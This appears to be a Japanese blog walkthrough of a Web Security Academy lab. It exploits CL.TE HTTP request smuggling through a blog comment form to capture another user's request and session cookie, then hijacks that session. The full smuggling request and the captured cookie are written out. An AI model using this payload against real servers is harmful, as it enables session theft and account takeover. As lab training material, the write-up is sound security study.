Shikata Ga Nai

Private? There is no such things.

Exploiting HTTP request smuggling to capture other users' requestsをやってみた

Hello there, ('ω')ノ

 

HTTPリクエストの密輸を悪用して、他のユーザーのリクエストをキャプチャを。

このラボにはフロントエンドサーバとバックエンドサーバがあって。

フロントエンドサーバはチャンクエンコーディングをサポートしていなくて。

 

原理は比較的単純で。

コメントを送信する場所を見つけて。

そのコメントを使用してHTTPスマグリングを実行できて。

 

まずは、ブログに投稿して動作確認を。

 

f:id:ThisIsOne:20210514181731p:plain

 

f:id:ThisIsOne:20210514181854p:plain


リクエストをリピータへ。

f:id:ThisIsOne:20210514181824p:plain

 

下記のようにパラメータの順序を変えてSendしても。

 

Content-Length: 99

csrf=eGotjaqCEwal3RiOBMeUyyNA5ErXKOWy&postId=5&name=Neo&email=user%40mail.com&website=&comment=com2

 

f:id:ThisIsOne:20210514182259p:plain

 

機能することが確認できて。

 

f:id:ThisIsOne:20210514182402p:plain


まずは、Content-Lengthの値を暫定的に設定して。

バックエンドサーバに密輸してレスポンスの確認を。

 

POST /post/comment HTTP/1.1

Host: ac3a1f081fa500b681bc04f600b700c0.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked

 

0

 

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=UJbHw7fNo2Ey3nCWMrRNxQXMdbLvDm61

csrf=eGotjaqCEwal3RiOBMeUyyNA5ErXKOWy&postId=5&name=Neo&email=user%40mail.com&website=&comment=com2

 

f:id:ThisIsOne:20210514182931p:plain

 

最後のコメントのパラメータにつなぎ合わせることができるので。

他のユーザのリクエストヘッダを確認できるわけで。

 

f:id:ThisIsOne:20210514182958p:plain

 

段階的にContent-Lengthの値を増加していって。

 Content-Length: 705

 

f:id:ThisIsOne:20210514185642p:plain


sessionの値を取得できたところで。

 session=uBIDBUY3LHA8nIkRyy42mvtw9c1b1rri

 

f:id:ThisIsOne:20210514185548p:plain


適当なパスワードでログインを。

 

f:id:ThisIsOne:20210514183548p:plain

 

取得したセッション値と入れ替えると。

 

f:id:ThisIsOne:20210514185820p:plain


クリアできた。

 

f:id:ThisIsOne:20210514185900p:plain

 

Best regards, (^^ゞ